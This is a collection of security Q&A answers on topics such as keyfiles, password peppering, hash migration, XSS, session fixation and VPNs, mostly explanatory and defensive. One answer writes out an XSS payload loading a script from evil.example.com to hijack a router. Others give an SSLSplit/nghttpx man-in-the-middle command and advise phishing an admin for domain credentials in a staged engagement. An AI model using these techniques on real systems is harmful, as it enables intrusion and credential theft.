When using keyfiles with TrueCrypt how does the file size and/or number of files affect the difficulty of breaking into the container?

According to the Truecrypt documentation, only the first 1MB of contents in the keyfile is actually examined. So anything beyond that is totally superfluous.

But more interestingly, keyfiles are simply hashed (along with other keyfiles and any password) to produce the real key. As such, the real key length is limited -- as of course it would have to be.

The length of the hash output depends on the hashing algorithm, but the important point is that no matter how much entropy you put into the hash, the amount you get out is capped at the hash size. The result is far larger than could possibly ever by brute-force cracked, so that's not a concern. But if you're using truly random keyfiles, then just a few bytes (say 64 characters) is typically enough to hit that entropy cap. Anything beyond that is just further permutation of the same bits.

Again, you choose the hash type, and SHA-256 and SHA-512 are common candidates. As for how easy it is to brute-force crack a 256-bit key; it's impossible beyond the laws of physics.


What's the point of using a firewall to filter ports if they are closed by default?

It does not seem to give more protection if you block access to a port which is not used anyway or is not accessible from outside because its bound to 127.0.0.1 only.

But, can you really guarantee that the port will not be used? A simple misconfiguration like a typo might be enough to make a service accessible from outside. Thus, it is preferred to have a defense in depth: deny with firewalls rules every access from outside except for the services which are supposed to be reachable, i.e. whitelist selected ports only. Then even a misconfiguration of a service will not make it accidentally accessible from outside.


For government warrants and data requests, is client side encryption the way to go?

I know client side encryption is generally not seen as ideal.

I don't think that's true; you may be mixing up a few different things.

One of the canonical rules in secure software design is to never trust the user.  This means that any time you do, say, validation that a form field is in the correct format, you must do that on the server, or else an attacker can feed your application an attack payload.  This holds true to certain forms of cryptography as well, as long as it's something where your application will interact with the resultant data.

What you're talking about here is end-to-end encryption.  In these situations, the encrypted data is only ever dealt with in the server-side application as a binary blob.  This is only useful in a few situations, like cloud storage and messaging apps, and you give up the ability to provide features many users want, like sophisticated search.

So to answer your question,

  Thus, if you were trying to build a company where even if the government forced you at gun point to give up the data of a certain user, wouldn't client side encryption provide you, the server owner, with better protection from such an ultimatum?

Yes, end-to-end encryption does.

There are further things to consider, though.  Is the client application closed source?  Then how can the user verify that you aren't sending the data off unencrypted to your (or the government's) servers?  Is the client application installed through an app store?  How can the user verify that you haven't pushed a new version of the app that makes significant changes from the one they audited?  Is the client application installed as a binary?  How can the user verify that the binary you're providing comes from the unmodified source that they've read?  The recent Apple FBI controversy dealt with some of these issues.

Also related is the subject of forward secrecy, in which a key that's been handed over to the government doesn't allow them to decrypt past conversations.


Protect key-streched hashes from rainbow tables?

Honestly, I don't see an issue with adding a field to store the salt. Or you could store the salt in the database field similar to how bcrypt does it: $version$salt$hash.

This^ is the easiest way to prevent creating a security issue. This should be the answer to the question, and if this is possible, this is by far the most recommended way.

But since you asked...

Rainbow tables trade memory for time. By creating a large lookup table, you have to generate the table only once and apply it many times (this saves time) but it requires more storage. If the attacker needs to generate a custom rainbow table for your database, there is no real benefit to a rainbow table.

A salt also protects from another 'attack': you can see which users have the same password. That is, users within your user database table, but also globally: if anyone ever used pbkdf2 with the same settings, their value for the password correct horse battery staple will match your record if anyone uses that password. If you have no unique field (other than the password) in your database, then the passwords must be unique within your database and you only need to protect from matching passwords in other databases.

The best way to do this is by using a pepper value. This is a randomly generated secret that you mix in with the password and ensures that your hashes are unique to your database. It also means that an attacker needs both the hashes and the pepper in order to crack any of the passwords. Without the pepper, assuming the pepper is strong enough (e.g. 128 bits of entropy), they will not even be able to crack the password "123456". A salt is unique per user and not secret, but a pepper is the same for all users and secret. It is usually best to apply both a salt and a pepper to stored passwords (NIST recommends that since 2017).

One safe way to mix in a pepper with a password is by using an HMAC:
password = hmac(password, pepper, algo="sha256")

To generate your pepper, you could use a regular password generator and generate a very long password. Make sure it uses a cryptographically secure random engine. The most popular and open source password managers do this.

If possible, the pepper should be stored separately from the passwords. If the passwords are stolen, the pepper might not be, and the passwords would remain safe. Since passwords are commonly in a database (like MariaDB), the pepper is commonly stored in a config file:
password = hmac(password, read_file("/etc/example/pepper"), algo="sha256")
password = pbkdf2(password, ...parameters)
if password == mariadb_query('select password from users where...') then ...

But this may be different in your situation, since you don't have usernames (or any other unique field) which is rather odd.

See also: Why do we authenticate by prompting a user to enter both username and password? Does prompting the password only suffice?

As for your proposal to use the password as salt, that only helps insofar as the password is unique. If you can guarantee the password is globally unique (and therefore also very strong, otherwise you cannot guarantee that), there is no point doing PBKDF2 anyway (any safe hash function will do, even MD5 if I'm not mistaken (of course, never ever use MD5 unless you travel back in time to before SHA2)). But if you cannot absolutely guarantee that the passwords are unique and strong enough to be uncrackable with a single pass of a fast hash function, then it's also not a good idea to use the password as salt. The whole point of a salt is to make your hashed value unique, and this defeats that purpose. Anyone who uses PBKDF2 with the password as salt, will have the same value for the same password. If using the password as salt was a good thing to do, we'd already be making our lives easy.


Reality Check: Create chaos at an office

Searching Linkedin for the CEO email is not needed at all, why not just ask management? If they signed the papers, they will be willing to help you. And you should send mails as the support or HR, the CEO usually don't mail the employees.

Filling mailboxes and locking the computers does the same harm as just locking the computer. No need to do that.

You don't need BadUSB (and should not use it) to lock computers, accessing the Domain Controller as domain admin is enough. And people will be suspicious if they see the "repairman" inserting an USB drive on every computer in the office. In the 2 months, phish an admin and grab the credentials.

DDoS at the website does not look good on TV and is not "real hacking."

Locking the computers, ringing every phone, controling IoT lamps and printing messages will be better on TV.


Frameworks for collecting all activities in a pentest?

You could write a script (in bash or python) to replay your commands and act as a local proxy for your commands execution. This way, you could split the results of the log into each commands.

This script should not be too long to write for the gain you will get. That would be my solution :)


The simplest way is to check for the X-Requested-With header being set. An alternative is to check the Origin for supported browsers.

Alternatively, check out the other solutions on the Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet.

Double Submit Cookies might be appropriate here as you will not require server side state, although the Synchronizer Token Pattern is the most secure approach as the token value is generated server side.


How to upgrade the hashing method of a live database without compromising security?

I recommend incrementally switching each user over to the new password hashing method on their next login.  At that point, you know their cleartext password, so you can re-hash it with bcrypt and switch them over to bcrypt.  This avoids the need for a "flag day" or contacting all your users.  In fact, it is invisible to users: your users never need to know you are transitioning to a new password hash algorithm.

In more detail:

Add another field to the database to indicate which kind of hashing algorithm was used to compute the password hash.  In other words, there are two fields associated with each user: one for the password hash, and to indicate the hashing algorithm (SHA512Cng or bcrypt).  Initially, password hash algorithm for every user is initialized to SHA512Cng.
When a user tries to logs in, look up the password hash algorithm for their account, hash the password they provided using that algorithm, and compare it to the stored hash.  If it does not match, the login is rejected.  If they do match, the login is accepted.
Additionally, if the login was accepted and if the algorithm in the database is SHA512Cng, then re-hash the password using bcrypt, overwrite the password hash with the new bcrypt hash, and change the algorithm in the database to bcrypt.

This allows you to gradually transition to the new password hash algorithm, as people log into your service.

Optionally, after a few months have passed, if there are any users who haven't logged in (and thus still have their passwords hashed with SHA512Cng), you could reset their password or email them and request them to log in again or something.  However, in many cases this may not be necessary.

P.S. Or, you could use Ramhound's elegant solution of simply bcrypting the password hash.  Clever!


Is all RSA encryption now considered insecure? (Notably SSH and SSL)

You are confusing RSA, a family of cryptosystems that relies on the difficulty of factoring products of large prime numbers, with RSA Security LLC, a company which sells security-related products.

RSA and RSA are both called RSA after Messrs R, S and A, who both invented the RSA cryptosystem and founded the RSA company. The company was founded in part to market products that rely on the cryptosystem.

The current controversy relates to RSA (the company) allegedly deliberately weakening one of their products in order to make it easier for NSA to spy or otherwise attack users of these products. This weakening has nothing to do with RSA (the cryptosystem).

If anything, the current revelations of NSA's capabilities strengthen the confidence that we may have in most reputable, widely-used cryptographic algorithms: the Snowden revelations concern ways to bypass cryptographic protections in various ways (by making service providers reveal their secret keys, exploiting software bugs, implanting spying hardware, etc.). If NSA could break cryptographic algorithms, they wouldn't need to go through all this.


To solve this, I used an HTTP/2 proxy called nghttpx, which translates HTTP/1.x requests to HTTP/2 and vice-versa.

I used SSLSplit to MiTM the connection, and nghttpx as a secondary proxy between the downgraded requests from SSLSplit and the server. Here is a quick diagram:

Client Request [HTTP/2] -> SSLSplit [HTTP/1.1] -> nghttpx [HTTP/2] -> Server
Server Reply [HTTP/2] -> nghttpx [HTTP/1.1] -> SSLSplit [HTTP/1.1] -> Client

In my use case, the client was making requests to multiple domains, but only one of them was HTTP/2. The domain in question was resolving to multiple IP addresses, so I didn't bother using iptables and just added a rule to my /etc/hosts to resolve that domain to localhost:

127.0.0.1     my-domain.com

I then fired up SSLSplit with my regular iptables setup and started nghttpx:

nghttpx -k -f'*,443' -b'IP_ADDR,443;;proto=h2;tls' mitmca.key mitmca.crt -L INFO

Depending on your use case, you might have requests for multiple domains, which will need nghttpx listening on a separate port for each domain, and iptables entries for each one.

Hopefully standard MiTM tools will add full support for HTTP/2 in the future, but for now, this is a good enough solution.


Password-generating - which non-alphanumeric symbols can I use?

According to OWASP, which uses references from Microsoft AD, and Oracle Identity Manager, these symbols are allowed.

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

https://www.owasp.org/index.php/Password_special_characters

However, I suppose that only answers your "usually" question. OWASP further explains that "Various operating systems and applications may apply limitations to this set".

Which to me says, it's completely subjective. Meaning, if I'm an application developer, I can choose to utilize industry standards (OWASP), or use my own subset.

So, to answer the "always" question, I think it would be safe to assume that these are acceptable.

!#$%&()+-/:;@[\]^_|~

Additionally, given the above information, I would go with these as the "sometimes forbidden" options.

"$%'()*+,-./:;<=>[]`{}

Since this is somewhat of a subjective question, no answer given can be 100% accurate. I think this should help with your task though..


KSPP is not a competitor. It is a project to get improved security features into the Linux kernel, funded by the Core Infrastructure Initiative. Grsecurity, on the other hand, is a security patch for Linux produced by Open Source Security, Inc. Grsecurity is implemented as a series of modifications to the kernel source code, as well as security-enhancing GCC plugins. There is no KSPP patch to download because all improvements are upstreamed. In many cases, the ideas for improvements come directly from the latest available public grsecurity patch. For example, grsecurity wrote a high-performance reference count overflow mitigation. KSPP tried implementing it themselves, found out the performance was terrible, and instead took grsecurity's version, modified it slightly, and include it in upstream Linux. Now upstream has (basic) refcount protection.
In terms of security, grsecurity is vastly ahead of KSPP. This is in part because grsecurity is willing to take "risks" that Linux kernel devs do not want to take (e.g. using i386 segmentation), but also simply because the grsecurity developers are significantly more security-focused, without the limitations of developers who don't consider security bugs to be any worse than another bug. The main (only?) advantage KSPP has over grsecurity currently is that security improvements brought about by KSPP are made public, as opposed to grsecurity which (currently, at least) is only available to customers.
Due to a complicated series of events, Brad Spengler (developer of grsecurity) has had frequent rows with Linux developers, and the KSPP in particular. He sees them as plagiarizing his work, and they see him as attacking them needlessly. Whether or not this is true is irrelevant to the comparison.
In summary

KSPP provides much less of a security improvement, but is available to the public.
grsecurity provides significant security improvement, but is unavailable to the public.


Looks like you got your question answered by a project member on the project's issue tracker:

I think you already have you question answered, but let me add
something.
"Every file with the SUID bit can be potentially dangerous"
Well not exactly, there are perfectly legit binaries that can only
operate as SUID (root), e.g., passwd, ping, etc. even su or sudo and
that are not considered dangerous at all as is (unless bugged on
misconfigured). For example, only who knows the root password can
use su.
"I've never seen mv with SUID bit set in any distribution"
That's right, but misconfigurations happens. GTFOBins may help the following example workflow:
enumerate all the SUIDs and programs executable via sudo (with known
credentials);
look them up in GTFOBins;
understand what you can do with them and exploit them (attack
scenario) or fix them (defense scenario).
I agree that binaries like mv are trivial, but are there mainly for
completeness.

Unfortunately, I see a lot of people online misinterpreting the site, and assuming that they can "exploit" one of those binaries by following the PoC verbatim (i.e. trying to set a binary as SUID when it is not already that way). But if you know the appropriate usage of the site, it can be a useful tool in your toolbox for both attack and defense, and may be quicker than digging through the manpage for the binary (although this should likely be something you do anyway).


This is generally called 'Pass-the-hash' attack.

If authenticating party performs hashing itself and sends hash over the wire then system is likely susceptible to this attack.

Most web applications don't do this though. They instead send the password and server does hashing, so there's no way to send hash directly.


Security Vulnerabilities and Risks for an Information only website (XSS)

Damage of XSS on Information-only Website

Yes, XSS is an issue even on an information-only website with no user accounts or personal information.

What can happen:

Phishing: It's true, an attacker cannot try to get information that is specific to your website - such as login credentials - as they do not exist. But - depending on your website - they can still exploit the trust a user has in your site to gather information from the user.
Defacement: An attacker can change the look of your website any way they want. They can add false information, they can add inappropriate images, and so on. Depending on your website, this may have rather large ramifications.
Open Redirect: May be used in phishing attacks.
Drive-By-Downloads: An attacker may exploit issues in the browser leading to drive-by-downloads, or may add links to harmful files to your website.

As you can see, the damage results from two things:

A user has trust in your website, which may be exploited to harm the user (but not your website).
XSS can be used to cause harm to the image of your website, and thus to the image of your organization.

You should also keep in mind that:

Your website may change, and may later include a user area or an administration area.
There may be other applications on the same domain, which do have such areas, which may thus be exploited via XSS in this application.

Defending against XSS

  I believe all we need to do here is to make sure all the forms do not accept contents with html tags?

Not really. For proper defenses against XSS see OWASP.

Not accepting HTML tags may not be enough, think <img src="[USER_INPUT]">.

Other Risks to Information-only websites

  Considering all this, how important is security on my website and what are the attacks that I need to be careful about?

Security is still relevant, even for information-only websites.

You probably do not want an attacker gaining complete control of your server, so at the very least, these are issues you should be concerned about:

Injection: SQL Injection may be used to DOS your server, and depending on the specifics, an attacker may gain control of your server with it. OS command injection is obviously also relevant, you really don't want an attacker to have complete control of your server.
Insecure File Uploads: You definitely do not want people to upload any file they want.
Other vulnerabilities that attack the server may also be relevant, such as XXE, Object Injection, DOS in general,

Any vulnerabilities that are linked to authentication or authorization - such as broken authentication, insecure direct object reference, etc - are probably not relevant to you - at least for now.


Unmasking passwords during sign up, is it a good idea?

Masking password fields is designed to prevent shoulder-surfing, where an attacker watches you type in a password. Unmasking is a bad idea in public, but it's not so bad in signup scenarios when the user is alone in the room. Whilst I personally disagree with the assertion that users are incapable of typing in a password correctly twice in succession, I'll go along with it for the purpose of this question.
I think the security concerns are covered quite well in some of the comments.
Luca Rosaldi said:

Another good approach (IMHO) would be including the “show password” checkbox, but checked by default. This way, if I’m alone I could check my password without concerns for security, or if I’m not I could uncheck the box and type my password.

To which Ray McCord replied:

It should be exactly the opposite.
It must be masked by default and the user must have to take an explicit action to unmask it — and even then that choice should be honored only very temporarily before reverting to masked.
Why?
Because this password form is acting as your agent and it, therefore, must be made to act in your best interest first — like a bodyguard.

This is a decent compromise - the default is to provide the user with the maximum possible security. If the user decides that it's just too damn hard to put their password in correctly, they can opt to sacrifice security for usability. This has the extra benefit of not patronising users that are perfectly capable of typing properly.
The biggest problem isn't really a security one, but rather a confidence one. Tesmond put it perfectly:

Simply displaying the password field is very uncommon behaviour, it instantly creates cognitive dissonance and perhaps even instant panic as your “secret” password is displayed for all on lookers. You may worry that your password will be visible in all places within the application and may even make you change your password to a less memorable one.

This actually creates a security problem. If you saw your password appear unmasked, you'd be a little confused as to why the site decided to buck the trend. Perhaps they don't care about security? Perhaps they store it in plaintext?! Perhaps your password will be visible on every screen!!? The user will then pick a terrible password that they don't care about having compromised, which puts their account at risk.


Session Fixation - Is that even an issue here?

This is a session fixation vulnerability, even if it may be relatively difficult to exploit.

You make a lot of assumptions before you conclude that everything is fine. Your assumptions are:

“An attacker cannot set a cookie in the victim's browser, except through an XSS vulnerability.”
“There are no XSS vulnerabilities anywhere in my application.”
“IP addresses are never shared.”

I disagree with those statements.

Setting a cookie in the vicitim's browser doesn't necessarily require an XSS attack. For example, if there's a subdomain hosting a different application, then this application may also set cookies for the main domain.

XSS vulnerabilities do exist in many applications, even when all programmers do their very best. What makes you think you're the exception?

IP addresses do get shared. There are proxy servers and VPNs with thousands of users, there are public WiFis, there are large networks behind a single IP address (thanks to NAT), there's the Tor Project routing its entire traffic through a few exit nodes, there are ISPs which constantly re-assign their IP addresses. So one IP address does not equal one user. How difficult it is for an attacker to actively take over the victim's IP address depends entirely on the concrete network environment, and that's obviously not under your control.

Of course you may be lucky and not fall victim to any of the above problems. However, relying on luck is a bad idea in security. In fact, we usually assume the worst-case scenario, and that's why it's standard practice to generate a fresh session ID when the user logs in.


would threat modeling help in scanning code?

In short, yes it would. But you could also use a simple triage approach if threat modelling is too much of an overhead.

In detail -

Code analysis can be a time consuming activity. Even tool lead approaches will generate large amounts of output that will require human review and prioritisation. As such a threat modelling approach can help to identify and triage that effort. This becomes especially important in large code base reviews.

From a threat modelling point of view I would break the code down in to the following areas (in order of importance):

Code that has unauthenticated access.
Code that is authenticated but widely accessible.
Code that is authenticated and restricted to a defined and trusted
minority (such as a limited subset of code used by admin function).

This will give you a prioritised approach to the code review and a framework for assigning the appropriate level of risk to each finding, for example - a flaw within code handling user input from an unauthenticated space could be seen to present a higher priority to fix over that of the same type of issue within a limited and trusted area of the application.

As requested this is now combined with the reply from @this.josh (this is an edited version, read @this.josh reply for the full text, it's worth the read)

If you are looking to do a more thorough job then you need to consider exposure:

Is some code run more often?
Is some code easier to pass data into?
Is some code more easier to debug to see the effects of?
What resources are accessed by the code?
What is the code protecting? (the assets)
What code relies on hardware for protection?
What code relies on other code to protect it? (what is your protection model?)
What code provides fault tolerance or error recovery?

Considering threats, exposures, assets, and the protection model will help you make good choices about what to test and how to test it.


How to securely store and use session IDs

I think your threat model about a compromised server is a little odd, though I certainly don't fault you for being concerned about leaving secrets and sessions exposed like that. The thing is, if your server and/or database are compromised, sessions will probably be the least of your concerns; the attacker can already view and manipulate all of your data (assuming it's not encrypted with the key stored out of reach). At this point, sessions/secrets may only be marginally useful to the attacker for maintaining access in case they lose their access to the compromised server/database. There's nothing wrong with trying to practice defense in depth and mitigate this threat, but there's definitely a point in which you have to trust something on the server, else you will never get anything done.
My recommendation is to find a framework or library that fits your needs, and most importantly, has already implemented session management securely. Even for someone already well versed in security, there are serious pitfalls that must be avoided when implementing something like this from scratch; it's often better to use a proven implementation.
As pointed out by @JohnWu in the comments, sessions of the length you mention are usually an illusion (although, nothing stops someone from doing it). Typically, sessions have an expiration date, but are continuously refreshed and extended as the user interacts with the service. There is a common paradigm of using both access and refresh tokens (often with JWT) where the access token is short lived, and must be periodically replaced by using the refresh token.


Android devices are vulnerable to DDOS attacks. The Android Operating system does not contain any special protection against DDOS attacks. (However, DDOS attacks are typically aimed at web servers with the intent of preventing legit users from accessing them and Android OS is not used as a web server, so you are unlikely to find a DDOS against it)

In general, DDOS attacks cannot be blocked by the targeted device. DDOS protection for a website or network tends to be in the form a robust network to handle the increased burden of the attack while maintaining normal functions.


Is it possible to use drawing or scribbling as a way of authentication?

I don't know the academic literature around TypingDNA-like methods, but I can throw in some ideas. In essence what you're describing is the Android Pattern Unlock, but instead of a 3x3 grid, you have a, say, 200x200 pixel writing area, right?

  If it was, the "password" space would be huge, correct?

Technically yes, but be careful not to conflate the theoretical number of possibilities with the distribution of what people actually select. For example:

90% of people's scribbles will be continuous strokes in the centre of the writing area rather than, say, doing random jumps right to the edges.
Fuzzy matching: two strokes by the same person will never be identical, so you will need an algorithm that accepts "similar" strokes as being equivalent.  The fingerprint unlock chips in iPhone and Android have to deal with this, so you could do some reading there.

I don't have any numbers to do a calculation, but my intuition is that in practice this password space will end up being in the same ballpark as a 12 character password.

Capture and replay attacks: keyloggers are a problem with passwords; what's preventing a malicious program from logging your mouse movements and replaying them? You'll notice that RECATPCHA challenges are designed to be record&replay-proof. Fingerprint scanners deal with record&replay by giving the scanner chip its own CPU; on successful match it uses a cryptographic key to sign a message to the OS saying that you have successfully authenticated so that the OS and software never actually see the fingerprint -- nothing to record. I wonder what protection TypingDNA has against record&replay attacks.

Bottom line: Thinking through the attack surfaces is the most fun part of security work. I suspect this idea wouldn't give any more security than a traditional password, but it's neat and fun to think about!


kernel: Intrusion IN=ppp0 on my Fairpoint assigned router from IP in China

From: https://superuser.com/a/330763

When I first read this I thought it didn't make sense because something cannot 'intrude' in a kernel. However Googling it I found similar posts (which also give the answer), but also list that the message was something like:

kernel: Intrusion detected from ...
which means something quite different.

The kernel (software) on your router is letting you know that somebody tried to connect ('intrude') to your WAN IP address.

This happens all the time, entire botnets are dedicated to trying to connect to random IP addresses at certain ports to try default user/password combinations to see if they can find weak security somewhere. However because the router denies this, there is no problem.

Summarizing: the 'intrusions' being detected are harmless, you should worry more about the ones that are not logged ;)


What's more secure? Hard coding credentials or storing them in a database?

A few points:

What you mean with encrypting passwords in the DB is hashing. That´s a big big difference.

The first reason why DBs are used instead of hard coding user data is not security, but simplicity
(add/modify/delete users without recompiling etc.)

Storing passwords in plaintext is a problem, doesn't matter if they are in your program or in the DB. Store them hashed and salted (DB and/or program doesn't matter. hash them).

Relying that an attacker won´t expect that your user data is in your program is "security by obscurity" and generally not secure.

Getting strings from a compiled program is far more easy than you think. Without any obfuscation like in your example, it takes not even a minute (and this includes starting an editor and searching manually for the strings). And who says that your program is compiled at all? Eg. PHP...

  Don't try to change established practices if you don't understand the reasons behind it.


What do these Wireshark screenshots demonstrate?

What this screenshot wants to demonstrate, is that the SYN-ACK and the following packets have different TTLs (Time-To-Live). Each TCP packet has a TTL counter which starts at a specific value when a packet leaves a host and gets decremented by every router which forwards the packet. The payload having a lower TTL than the SYN-ACK packet means that it passed through more routers. This implies that some system detected the SYN-ACK as "interesting" and decided to reroute the connection afterwards, likely through some system which performed a man-in-the-middle attack.


Yes they could control your router with that vulnerability.

Even if there's a limit to the length of the failrefer parameter, an attacker could host a script that can execute router functions on http://evil.example.com/attack_router.js and then trick you into visiting

&failrefer=/admin.html</script><script src="http://evil.example.com/attack_router.js"></script>

somehow. For example, by sending you phishing links or by sending emails appearing to come from your known contacts (if this was any targeted attack).

However, you would have to either be logged into your router already (and I'm assuming a call to the URL above won't log you out), or have your router configured with default or weak credentials.

All the attack_router.js script would need to do is make POST requests to router configuration pages. For example, to the remote login page to enable HTTP management on the WAN side. The attacker, knowing your IP from the request to their evil.example.com domain can simply then log into your router.

Other example attacks would be using the DNS configuration page to change your DNS to one that is under control of the attacker. Then they could redirect you to their own systems to attempt to capture your credentials (e.g. an sslstrip style attack).


Key exchange is routinely done without using external services, by using cryptography. The most popular key exchange algorithm is Diffie-Hellman.

Quoting Wikipedia:

  The Diffie–Hellman key exchange method allows two parties that have no prior knowledge of each other to jointly establish a shared secret key over an insecure channel.

If you use Diffie-Hellman, don't use the anonymous version, but either fixed or ephemeral DH. See this answer.

Clearly, don't roll your own cryptography for anything real (i.e. outside of self study). Use something like OpenSSL for that.


You can authenticate your mosquitto broker by providing username and password.
Here is the link for authenticating the pub/sub flow: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-the-mosquitto-mqtt-messaging-broker-on-ubuntu-16-04

You can directly jump into step 5 for adding password.


Yes, all your assumptions are correct there.

As you are including content from addthis.com, your client-side Origin is fully trusting this domain. If there was any compromise to addthis.com, or if addthis.com decided to change the script to do something more invasive then your site would be vulnerable.

For example, addthis.com may suddenly decide they want to collect data from end-users of their script, and this data might include cookies, and HTML5 storage data. By including the script on their domain you are allowing them to make these changes without agreement from you.

Yes, downloading the file and hosting from your own domain is the safe approach. Bear in mind however that you still need to trust the actual code to do what you're expecting and only what you're expecting. So it might be worth while manually auditing the code and doing any operations such as minification yourself.


Microsoft Outlook Vulnerability CVE-2018-8587 - How likely is exploitation?

Getting a victim to open a file is a proven effective way to attack an organisation - phishing and social engineering work, very well. So assume that part of the attack is low effort if you or your organisation is a target.

As regards anything that sounds like complex crafting of a payload, if it can be created it will. The market in attacks flows down from the very high end (nation state, organised crime etc) to lower level attackers. It's a commodity.

So don't think of the difficulty of the attack mechanism as important when assessing likelihood. Instead start with possible attacks that will take your organisation down, look at who might want to commit those attacks, and think about what you would need to mitigate them.


It's most likely fine.
There are a few situations in which you want to communicate with localhost using HTTPS - such as running a local webserver for web development purposes or some other service that offers a web interface.
The way to do it "properly" is to generate a self-signed certificate, set up your web server to use that certificate, and then manually import that certificate as a trusted certificate. This is a tedious process, and in order to remove this friction, browsers give you the option of pretending like https://localhost is sending some trusted certificate, even though it's not.
So is this secure? That depends on your threat model. For day-to-day browsing activities, you'll likely be fine. It's difficult for an attacker even in your local network to impersonate localhost, since it's written directly in your hosts file, which on most setups has higher priority than DNS - which means even with a compromised DNS server, connections to localhost still would not be redirected to the attacker.
So why is this not the default if it's most likely secure? Because it's not the "expected" behavior of a browser. The expected behavior is that upon connecting to a host using HTTPS, the certificate is validated and the connection is refused if the certificate is invalid. You as end-user have to make a conscious decision to change this behavior and allow this exception.
So when would this be insecure? When would it actually pose a threat? To be honest, I struggle to think of an example that isn't completely contrived. Strange hostname resolution configurations in which localhost would be resolved via DNS and spoofed to be some host other than 127.0.0.1 would come to mind, but that is a very unlikely scenario, and one in which the user has to go out of their way to configure their system to be vulnerable. However, I don't want to say "it is perfectly fine in every possible setup", since there is always a chance I am missing something.


How is an Authenticode timestamp verified?

A certificate for a Time Stamp Authority is accepted as such only if it contains an Extended Key Usage extension which itself advertises the specific id-kp-timeStamping object identifier (aka 1.3.6.1.5.5.7.3.8). Though Authenticode time stamps do not follow the RFC 3161 format, the rules on the TSA certificate are still the same (see section 2.3).

There is some information on Authenticode time stamps there. Like standard (RFC 3161) time stamps, they rely on PKCS#7 (aka "CMS") but the exact format of the data element that is signed by the TSA differs.

This blog post advertises some sort of "your own TSA" product (which I have not tried in any way) that supports Authenticode; this would indirectly mean that making your own TSA certificate and have it accepted by Windows as valid for Authenticode time stamps is feasible.

Any CA may issue a certificate with the "TSA" object identifier in it (there is no conceptual difficulty in it), but most established CA will not, mostly for lack of demand. Note that running a TSA properly implies maintaining an accurate enough clock, resilient to external attempts at changing its notion of time (beware of NTP !), and that's not easy. It is actually very hard to do if you try to achieve sub-second accuracy (e.g. you have to process leap seconds, you cannot just ignore them).


Hardware-backed Keychain for iOS and Android

No the enclave is just for the iOS encryption processes.

  It turns out this was the perfect convergence for the synergy needed
  to allow Apple to move forward with TouchID. Apple has customized a
  highly optimized version of TrustZone and created what is now known
  Secure Enclave.  Of course Apple will likely never release the details
  of what they do in the custom hardware for number of reasons. Thus I
  will speak directly of TrustZone and extrapolate to Secure Enclave.

  ...snip...

  Apple has wisely restricted very, very limited access to Touch ID and
  does not have any APIs available for developers.  In fact Apple has
  removed the iCloud Keychain from the most recent developer build of
  iOS 7.  I can only publicly say this has a lot of reasons that will be
  very clear in the next few months.  The technology is now limited to
  just two use cases, device unlock and iTunes and App Store purchases.
  Of course this was not the limited intent of this technology and there
  will be full developer API access at some point, perhaps not in some
  areas that Apple will limit as they want to be the sole provider in
  those areas.

  Source

More information about it can be found here:iOS and here:Android.


No, you can't.

It's as easy as you search information about "DNS leak" topic. When you use a VPN, you have the risk of a DNS leak. In other words, your DNS resolution will be made outside your VPN.

Second, VPN server knows (in some way) who you are, where are you from and where you want to go. It's the same risk that exit nodes of Tor Network pose.

Anyway, it depends of how paranoid you woke up today.


How does LM hash deal with passwords that are between 8 and 13 chars

The password is padded with null bytes: extra bytes of value 0x00 are appended so that the total length is exactly 14 bytes. See this, item 4.

Of course, LM hash is a very poor password hashing algorithm. Don't use it (if you have the choice).


Firefox Account - Export user data (GDPR)

Yes - Right of access is a requirement under GDPR for EU residents, although it is not always implemented in the same way.

I would start with Mozilla's Privacy Policy which has a link to a form for Data Subject Access Requests at the end - that in turn has an option for Information Requests.

It also has a link to Information for EU, EEA, and Swiss users but that page doesn't seem to specifically address your question.


Is using simultaneously a VPN on router and another on computer any good?

A different VPN on different machines will tunnel correctly. It doesn't matter if the machines are host, router, or VM.

Getting it to work is easy enough, but stop and ask yourself what you are trying to accomplish. You state that you don't trust the the VPN services, so:

How are you aquiring the VPN services, are you paying for them? Follow the money. If free or paid annonymously, the first VPN ("A") has your IP. Assuming you're tunneling to a second VPN ("B"), "A" knows this. While "A" doesn't know anything else, you immediately stand out as unusual double VPN traffic.

How are you paying for "B"? Unless it's anonymous you've immediately mooted "A". "B" also sees that you are unusual double VPN traffic. "B" has the same logs you're concerned about. It may or may not be politically practical to trace back from "B" through "A", but technically it would be a piece of cake given the right resources.

By using two VPNs, you've created 2/3 of a Tor connection (the most vulnerable 2) in a network that only you or a small handful of people are using. If a single VPN does not meet your needs, give serious consideration to Tor.


Can certificate pinning be achieved strictly at the network layer?

TLS is not a network protocol. There is nothing for the network to "pin to" as it were.

Check for certificates is done by the application, so it must be handled by an application.

Pinning can absolutely be implemented in a custom app, though. You just include the same function as a browser would.

OWASP has some general guidance.


Is there a security reason to disable a leavers account instead of deleting it?

This depends on the context of course but in general, leaving an account helps with accountability, and like Matthew mentioned, with audit trails. Imagine the scenario where usernames are formed of the first letter of the first name, and the full last name, John Smith becomes "jsmith", but John decides to leave the company and soon after he is replaced by Jane Smith, her username would be "jsmith" as well. Preserving the previous user would stop an accidental impersonation from happening, which may also not be accidental in every situation.

Another situation may happen if the process of deleting a user removed everything linked to that user, recently Gitlab had a hard time partly because a staff user was flagged for removal and in the process a major database was taken down, in this case the decision of deleting a user was costly.

In general, if there is uncertainty on what would happen when deleting a user, the best option is to disable the user instead of deleting it. So yes, while there are security considerations, there are also operational concerns.


Do mail servers follow links in emails as part of a security scan before inbox delivery?

This is not a new problem.

I haven't had to work around it in a few years, so I don't know if the state of the art has changed, but there are a few things you can try:

1) don't process your link unless it has a special query param in it.  The query param is added by a client-side redirect (I used http://insider.zone/tools/client-side-url-redirect-generator/ to handle some of the cross-browser messiness) but the server-side code would return this with the query-paramless link to the browser.  So:

  user clicks 'https://magiclink.foo.org/ajskdfjwlakefj'

server does not see magic redirect, so

  redirects to 'https://magiclink.foo.org/ajskdfjwlakefj?follow=true'

and server-side code, seeing "follow=true", would process and then invalidate that token.

2) I think you could do the same with a redirect from GET->POST with a form submit, but I haven't tried.

Good luck!


XSS is a form of code injection, i.e. the attacker manages to inject its own malicious code (usually JavaScript) into trusted code (HTML, CSS, JavaScript) provided by the site. It is similar to SQLi in that it is caused by dynamically constructed code, i.e. SQL statements, HTML pages etc.

But while there are established techniques to solve SQLi (i.e. use parameter binding) it is even harder with XSS. To defend against XSS every user controlled input must be properly escaped, which is much harder than it sounds:

Escaping rules depend on the context, i.e. HTML, HTML attribute, XHTML, URL, script, CSS contexts all have different escaping rules.
